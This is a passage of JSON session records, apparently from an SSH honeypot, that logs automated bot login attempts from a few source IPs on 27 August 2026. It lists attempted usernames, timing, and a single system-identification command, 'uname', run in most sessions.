  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "798f2c50-ed4c-43fa-bbba-e3b2d74290d2",
  "name": "rambling-jovial-vole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 54326,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 343,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:13:21.367851+00:00",
  "ended_at": "2026-08-27T02:13:22.132123+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8948be90-85cc-4e02-a454-f0787f681110",
  "name": "gallant-eager-fieldfare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 44182,
  "username": "deploy",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 370,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:13:09.318102+00:00",
  "ended_at": "2026-08-27T02:13:09.539393+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8488be46-b225-4141-b4a0-6bd73e789603",
  "name": "nimble-velvet-oryx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 44078,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 225,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:13:00.023319+00:00",
  "ended_at": "2026-08-27T02:13:00.106193+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8a941be0-449d-4776-a34d-be8558733def",
  "name": "rustic-ashen-wagtail",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 44076,
  "username": "centreon",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:12:56.062269+00:00",
  "ended_at": "2026-08-27T02:12:58.446230+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "82d0b1fb-5c5e-41c2-9968-dada9c7e7006",
  "name": "rapid-crisp-goshawk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 43744,
  "username": "centreon",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 351,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:12:55.104167+00:00",
  "ended_at": "2026-08-27T02:12:58.448727+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "b7b8ef9b-d69f-4571-ba28-4dda02e84b8a",
  "name": "murky-flinty-bittern",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 43670,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:12:44.331606+00:00",
  "ended_at": "2026-08-27T02:12:46.059037+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "eeb0a382-f411-490d-829f-1a9cb14279b0",
  "name": "umber-kindly-dunlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 33070,
  "username": "test",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 259,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:12:29.732687+00:00",
  "ended_at": "2026-08-27T02:12:35.043930+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d9693e5b-4fea-4dc2-a151-70d0c56fcc97",
  "name": "hushed-jolly-loris",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 42122,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 215,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:12:12.934107+00:00",
  "ended_at": "2026-08-27T02:12:17.000524+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "316c2fe9-f904-4199-9e80-824b5dc5b9ab",
  "name": "thorny-gloomy-fossa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 37566,
  "username": "mc",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:12:01.303855+00:00",
  "ended_at": "2026-08-27T02:12:03.835686+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1710aa4c-28c1-4a8d-a5f2-6aaed9dd820f",
  "name": "amber-airy-dingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 53956,
  "username": "mc",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 284,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:11:55.244267+00:00",
  "ended_at": "2026-08-27T02:12:03.843005+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1655
 },
 {
  "id": "682af7d8-4036-4134-9447-7f7011698804",
  "name": "lively-ashen-okapi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 42088,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 356,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:11:55.102447+00:00",
  "ended_at": "2026-08-27T02:12:00.111722+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5da38553-7c76-4ce6-9b97-88bd5a0d7955",
  "name": "wry-peaty-badger",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 44464,
  "username": "temp",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:11:49.963786+00:00",
  "ended_at": "2026-08-27T02:11:51.360321+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "37dd0f25-49d2-4e5e-8183-aa6dd91681a5",
  "name": "marbled-mighty-ocelot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 53888,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 238,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:11:35.902468+00:00",
  "ended_at": "2026-08-27T02:11:40.867072+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6f61f8a2-2e84-49a0-84c0-ca7714175297",
  "name": "bronzed-opal-armadillo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "113.191.145.50",
  "src_port": 61022,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:11:24.878763+00:00",
  "ended_at": "2026-08-27T02:11:26.075755+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "61c28e07-a2f2-4afe-ae28-87961a4d3325",
  "name": "frugal-fleeting-macaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 36034,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 343,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:11:22.112133+00:00",
  "ended_at": "2026-08-27T02:11:25.614362+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "25174dba-064a-4806-aae1-e48164d98701",
  "name": "mellow-granite-harrier",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 52876,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 204,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:11:14.165628+00:00",
  "ended_at": "2026-08-27T02:11:15.370766+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c658627c-cc41-4f7a-8714-a12734bf7640",
  "name": "verdant-polar-marmot",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 63864,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:11:13.803928+00:00",
  "ended_at": "2026-08-27T02:11:14.814071+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d3c3677a-c653-4175-bcd1-3b05cf53961d",
  "name": "drifting-golden-anteater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 52788,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 211,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:11:04.479331+00:00",
  "ended_at": "2026-08-27T02:11:05.976523+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ec55565d-38c3-4db7-9536-e5279c5a61d2",
  "name": "supple-orderly-armadillo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 54446,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 237,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:11:00.796449+00:00",
  "ended_at": "2026-08-27T02:11:01.950019+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "420d535e-4aec-44d5-b5ca-69b4befccac3",
  "name": "fearless-candid-oxpecker",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 54400,
  "username": "nexus",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 266,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:10:56.367963+00:00",
  "ended_at": "2026-08-27T02:10:57.831478+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "fa3a689a-19e3-41c4-80d8-71b7af4947bf",
  "name": "bold-icy-egret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 52834,
  "username": "osmc",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:10:49.150914+00:00",
  "ended_at": "2026-08-27T02:10:51.602174+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1d7f49df-8889-4bf4-933c-82d43a081816",
  "name": "quaint-gentle-bunting",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 43974,
  "username": "deploy",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 294,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:10:49.050121+00:00",
  "ended_at": "2026-08-27T02:10:50.919308+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "07815d92-fdc4-4d1b-8254-d26958f0bcfa",
  "name": "granite-mellow-petrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 47022,
  "username": "osmc",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 341,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:10:47.338841+00:00",
  "ended_at": "2026-08-27T02:10:51.600661+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "70941f69-924d-40d1-b18d-a9b756d5a793",
  "name": "thorny-barren-wheatear",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 54478,
  "username": "csgo",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:10:43.417341+00:00",
  "ended_at": "2026-08-27T02:10:45.964463+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "21f86bce-9280-40cd-a259-6f458dd00c03",
  "name": "leafy-scarlet-nuthatch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 46958,
  "username": "csgo",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 233,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:10:40.414403+00:00",
  "ended_at": "2026-08-27T02:10:45.967333+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "f1babaf3-93c6-4be8-aac3-96b6fd5e3976",
  "name": "stoic-supple-bison",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 50428,
  "username": "es",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 235,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:10:30.851009+00:00",
  "ended_at": "2026-08-27T02:10:32.971804+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7135748e-d6eb-457f-8e39-1bd1e5430048",
  "name": "sincere-pristine-hamster",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 43930,
  "username": "guest",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:10:24.719081+00:00",
  "ended_at": "2026-08-27T02:10:27.009588+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b24e5881-ed01-4ecb-b428-51407945607f",
  "name": "dusty-misty-crane",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 51372,
  "username": "server",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 223,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:10:23.005360+00:00",
  "ended_at": "2026-08-27T02:10:24.285779+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1f75f928-9025-4375-a7e9-786509056c64",
  "name": "subtle-sullen-hamster",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 51254,
  "username": "guest",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 228,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:10:21.590967+00:00",
  "ended_at": "2026-08-27T02:10:27.006433+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "d59fdad7-b2a4-43f0-afb8-d09dc3fe9232",
  "name": "frugal-rambling-salmon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 44460,
  "username": "frappe",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 178,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:10:08.973436+00:00",
  "ended_at": "2026-08-27T02:10:10.329447+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ab6d2059-8c9a-4e03-b365-75238c7161e6",
  "name": "lunar-patient-hamster",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 44354,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 205,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:09:56.272576+00:00",
  "ended_at": "2026-08-27T02:09:57.537066+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a2ee7283-3f6c-4b46-978d-ea20ddafc79e",
  "name": "early-ginger-thrush",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 35360,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 196,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:09:48.284298+00:00",
  "ended_at": "2026-08-27T02:09:48.955773+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8394135e-0514-4f40-bea5-d57596e5b8f7",
  "name": "marine-quaint-eider",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 58790,
  "username": "deploy",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 211,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:09:43.116066+00:00",
  "ended_at": "2026-08-27T02:09:43.963671+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5bd1642d-09c3-4557-b8ef-be6b27d05e53",
  "name": "balmy-downy-tanager",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 35390,
  "username": "operator",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:09:40.599707+00:00",
  "ended_at": "2026-08-27T02:09:42.871073+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c43181ab-463f-436d-a377-ba33375fd279",
  "name": "spirited-grassy-shrike",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 58708,
  "username": "operator",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 230,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:09:39.582053+00:00",
  "ended_at": "2026-08-27T02:09:42.873353+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1665
 },
 {
  "id": "bad1214e-b58f-44c6-9deb-441a45d8d508",
  "name": "dapper-tender-lark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 57392,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 244,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:09:25.322306+00:00",
  "ended_at": "2026-08-27T02:09:25.441268+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "aa1c8efe-28e7-4344-8523-46dd2c089a78",
  "name": "misty-cheerful-vervet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 57328,
  "username": "mysql",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 198,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:09:19.027732+00:00",
  "ended_at": "2026-08-27T02:09:19.113876+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1809cd37-813c-4a42-b8d2-97ea5723a3a8",
  "name": "cheerful-quartz-greenfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 52538,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 344,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:09:14.723829+00:00",
  "ended_at": "2026-08-27T02:09:14.882053+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1baedded-637d-4d7e-bc03-1e19fff2219e",
  "name": "arctic-vaulted-wallaby",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 52476,
  "username": "zahra",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:09:04.080917+00:00",
  "ended_at": "2026-08-27T02:09:06.244462+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "33b8c278-df66-4fad-a608-cae1a56c9c50",
  "name": "muted-kindly-fieldfare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 43630,
  "username": "minecraft",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 257,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:08:40.637302+00:00",
  "ended_at": "2026-08-27T02:08:45.704524+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4f59cc70-e120-4547-be12-10506810ced6",
  "name": "nameless-restless-gannet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 43656,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 233,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:08:40.392338+00:00",
  "ended_at": "2026-08-27T02:08:45.845270+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "08c4e58a-90f5-4ff0-87c1-20aa5c600b48",
  "name": "ancient-canny-waxwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 47134,
  "username": "vncuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:08:38.405348+00:00",
  "ended_at": "2026-08-27T02:08:40.384885+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e3af6fe6-6af6-46f5-a0dc-8bccf9220e61",
  "name": "upland-obsidian-siskin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 45742,
  "username": "vncuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 274,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:08:33.308612+00:00",
  "ended_at": "2026-08-27T02:08:40.386013+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "ac783e88-843c-41c1-aa08-14eccdb0923a",
  "name": "jagged-regal-moose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 45802,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 309,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:08:28.731522+00:00",
  "ended_at": "2026-08-27T02:08:32.829956+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a0cae7fd-5e38-4a4a-a383-81cec2a7ca29",
  "name": "subtle-lofty-rook",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 60385,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:08:24.630751+00:00",
  "ended_at": "2026-08-27T02:08:27.785110+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "703a339b-fbd1-4612-9c32-aa057b8cabe9",
  "name": "fearless-kindly-stork",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 41074,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 285,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:08:20.496314+00:00",
  "ended_at": "2026-08-27T02:08:23.865057+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "24496c65-d9c7-483d-978d-028f2e7a0ff1",
  "name": "vivid-lawful-bowerbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 44630,
  "username": "myuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 312,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:08:18.683540+00:00",
  "ended_at": "2026-08-27T02:08:23.080698+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "788f715c-e0f8-4ead-a737-d4f816b5986f",
  "name": "diligent-buoyant-godwit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 44578,
  "username": "test",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 229,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:08:09.771494+00:00",
  "ended_at": "2026-08-27T02:08:14.978031+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ed65f33d-62b8-4a0f-87a6-234a8d5a53ad",
  "name": "honest-bashful-badger",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 36672,
  "username": "odoo",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 211,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:08:00.200139+00:00",
  "ended_at": "2026-08-27T02:08:03.134165+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "349aaf76-4cb7-4f60-8030-b5f89ad540f6",
  "name": "supple-pleasant-mallard",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 41124,
  "username": "pi",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:07:59.947165+00:00",
  "ended_at": "2026-08-27T02:08:01.761967+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "97567f62-c7d9-45cd-bc9f-549a60556cc5",
  "name": "fickle-brazen-stoat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
